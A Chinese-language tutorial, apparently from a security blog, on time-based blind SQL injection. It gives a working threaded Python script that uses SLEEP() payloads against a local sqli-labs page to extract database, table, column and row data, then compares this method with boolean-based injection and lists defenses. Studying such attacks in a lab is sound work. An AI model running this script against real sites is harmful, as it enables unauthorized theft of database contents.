利用二分法进行 SQL 时间盲注
什么是时间盲注?
SQL 盲注(Blind SQL Injection)是一种常见的 Web 安全漏洞,其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时,我们可以利用 SLEEP()
函数来判断查询结果是否符合预期。
代码解析
本代码通过 二分法 + 时间盲注 逐字符提取数据库中的信息。它通过 SLEEP()
让服务器延迟响应,从而判断 SQL 条件是否成立。
import requests
import concurrent.futures
import time
def binary_search_character(url, query, index, low=32, high=127):
while low < high:
mid = (low + high + 1) // 2
payload = f"1' AND IF(ASCII(SUBSTRING(({query}),{index},1)) >= {mid}, SLEEP(2), 0) -- "
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
response_time = time.time() - start_time
if response_time > 1.5: # 服务器延迟意味着条件成立
low = mid
else:
high = mid - 1
return chr(low) if low > 32 else ''
def extract_data(url, query, max_length=200):
extracted_data = [''] * max_length
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
for future in concurrent.futures.as_completed(future_to_index):
index = future_to_index[future]
try:
result = future.result()
if result:
extracted_data[index - 1] = result
print(f": {''.join(extracted_data).strip()}")
except Exception as exc:
print(f"Error extracting character {index}: {exc}")
return ''.join(extracted_data).strip()
if __name__ == '__main__':
url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
database_name = extract_data(url, "SELECT database()")
print(f"数据库名: {database_name}")
table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
table_names = extract_data(url, table_name_query)
print(f"表名: {table_names}")
table_name = table_names.split(',')[0]
column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
column_names = extract_data(url, column_name_query)
print(f"列名: {column_names}")
column_name = column_names.split(',')[1]
data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
extracted_values = extract_data(url, data_query)
print(f"数据: {extracted_values}")
时间盲注的原理
SLEEP(2)
: 如果条件为真,服务器会延迟 2 秒响应。- 通过
time.time()
计算请求的响应时间,判断是否触发了SLEEP()
。 - 逐字符采用二分法减少请求次数,提高提取效率。
效果展示
两种注入方式使用的sql语句基本相同,主要是回显判断的方式不一样
时间盲注(Time-Based Blind SQL Injection)和布尔盲注(Boolean-Based Blind SQL Injection)是两种常见的 SQL 注入攻击方式,它们的核心区别在于攻击响应的方式和判断条件成立的方式。
两种方式区别:
1. 响应方式
时间盲注 (Time-Based Blind SQL Injection)
- 特征:攻击者通过在 SQL 查询中注入
SLEEP()
函数,使数据库在查询满足特定条件时延迟响应。 - 如何判断:通过测量响应时间来确定 SQL 条件是否成立。例如,若查询条件成立,数据库会延迟一段时间(例如 2 秒),否则响应立即返回。
示例:
' AND IF(ASCII(SUBSTRING(database(), 1, 1)) = 65, SLEEP(2), 0) --
- 如果
ASCII(SUBSTRING(database(), 1, 1)) = 65
(即A
),服务器会延迟 2 秒;否则,查询立刻返回。
布尔盲注 (Boolean-Based Blind SQL Injection)
- 特征:攻击者通过注入布尔表达式,服务器返回不同的页面响应或状态,来判断条件是否成立。一般不涉及实际的数据返回。
- 如何判断:通过页面响应的不同来判断 SQL 查询的条件是否成立。例如,查询条件成立时,页面返回正常;查询条件不成立时,页面返回错误或不同的内容。
示例:
' AND ASCII(SUBSTRING(database(), 1, 1)) = 65 --
- 如果
ASCII(SUBSTRING(database(), 1, 1)) = 65
(即A
),查询结果为真,页面正常显示。 - 如果查询结果为假,页面显示错误或不同的内容。
2. 判断条件
时间盲注
- 通过时间延迟判断:攻击者无法从页面内容中直接看到数据或错误信息,只能通过查询所引入的时间延迟来判断条件成立。
- 优点:即使页面响应没有变化(如无错误提示),攻击者依然能通过时间差推断出数据。
布尔盲注
- 通过页面内容判断:攻击者通过页面的不同表现(如响应内容变化、错误提示、页面状态)来推断条件是否为真。
- 缺点:依赖页面的可见反馈。如果页面没有明显的变化,可能需要更精细的判断。
3. 执行效率
时间盲注
- 效率较低:每次查询后,攻击者需要等待服务器的响应延迟,通常这种延迟为 1-5 秒。这会使得一次查询的时间变长,导致数据提取速度较慢。
- 适用场景:适用于目标服务器没有错误信息反馈,或者防火墙和防护措施使得布尔盲注失效的情况。
布尔盲注
- 效率较高:布尔盲注通常只需要判断一次响应结果即可,不需要等待延迟,因此效率较高。
- 适用场景:适用于目标系统没有显式的错误信息,但能够根据页面响应的变化来区分不同的条件。
4. 防御难度
时间盲注
- 防御困难:因为时间盲注依赖于延迟响应,攻击者通常不会直接看到反馈数据,所以传统的输入过滤和错误信息隐藏防御策略通常无法有效防止。
- 防御方法:使用 SQL 执行时间限制(例如:
SET GLOBAL max_execution_time=500
),或者通过 Web 应用防火墙(WAF) 监测异常响应时间。
布尔盲注
- 防御较容易:布尔盲注依赖于页面内容的不同反馈,通常可以通过 错误信息屏蔽 和 输入验证 来防止。
- 防御方法:使用 预编译语句(Prepared Statements) 来避免 SQL 注入,过滤或限制用户输入。
5. 使用场景
时间盲注
- 当目标没有错误反馈,并且不容易观察页面响应的差异时,时间盲注是一个有效的攻击方式。例如,某些网站或应用可能故意隐藏错误信息,只返回固定的页面内容。
- 适用于服务器响应时间差异明显的情况,例如较大的数据库查询或复杂的子查询。
布尔盲注
- 当目标服务器根据输入条件返回不同的响应(如页面内容变化、错误信息)时,布尔盲注更为高效。
- 适用于返回不同页面内容的情况,例如错误页面、成功页面、或者其他表现形式。
总结:
- 时间盲注:依赖延迟响应来判断 SQL 查询是否成立,适用于没有错误反馈的目标,防御较为困难,但攻击速度较慢。
- 布尔盲注:通过判断页面响应的变化来进行攻击,适用于能观察到页面差异的目标,防御较为容易,攻击效率较高。